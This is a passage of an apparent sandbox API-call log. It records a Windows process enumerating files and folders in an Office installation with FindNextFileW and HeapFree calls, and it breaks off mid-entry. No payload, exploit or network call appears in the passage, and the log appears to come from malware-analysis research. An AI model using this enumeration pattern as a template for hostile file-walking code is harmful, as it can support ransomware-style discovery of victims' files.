ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ae17b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10fcc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ipcsecproc.dll", cAlternateFileName="IPCSEC~1.DLL")) returned 1 [0108.511] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.511] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1 [0108.512] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.512] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1 [0108.512] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.513] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1 [0108.513] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.513] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bf45a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1 [0108.513] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.513] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1 [0108.514] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.514] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc21a8ad, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc21a8ad, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ms", cAlternateFileName="")) returned 1 [0108.515] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.515] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b3ce622, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msipc.dll", cAlternateFileName="")) returned 1 [0108.516] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.516] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1 [0108.517] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.517] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl", cAlternateFileName="")) returned 1 [0108.517] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.517] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt", cAlternateFileName="")) returned 1 [0108.518] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.518] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0108.519] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.519] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1 [0108.519] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.519] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1 [0108.520] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.520] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1 [0108.520] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.520] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1 [0108.521] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.521] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-BA", cAlternateFileName="SR-CYR~1")) returned 1 [0108.521] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.521] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Cyrl-CS", cAlternateFileName="SR-CYR~2")) returned 1 [0108.522] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.522] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0108.523] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.523] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1 [0108.523] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.523] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="th", cAlternateFileName="")) returned 1 [0108.524] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.524] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1 [0108.524] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.525] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1 [0108.525] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.525] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1 [0108.526] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.526] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0108.527] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.527] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0108.528] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0108.528] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0108.528] FindClose (in: hFindFile=0x4260750 | out: hFindFile=0x4260750) returned 1 [0108.528] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.528] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddaac59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b382177, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0108.570] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.570] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdb652e29, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdcec30aa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x205e48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ONENOTE.EXE", cAlternateFileName="")) returned 1 [0108.575] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.575] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1d319566, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x656d8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0108.582] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.582] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1d791bfc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2be48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PDFREFLOW.EXE", cAlternateFileName="PDFREF~1.EXE")) returned 1 [0108.767] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.767] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1036", cAlternateFileName="")) returned 1 [0108.767] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.767] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe34d5ed4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe34d5ed4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe34d5ed4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1 [0108.768] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.768] FindNextFileW (in: hFindFile=0x4260110, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgr8en.dub", cAlternateFileName="")) returned 1 [0108.771] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.771] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0108.775] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.775] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0108.796] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.796] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0108.796] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.796] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1 [0108.798] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.798] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0108.800] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.800] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, 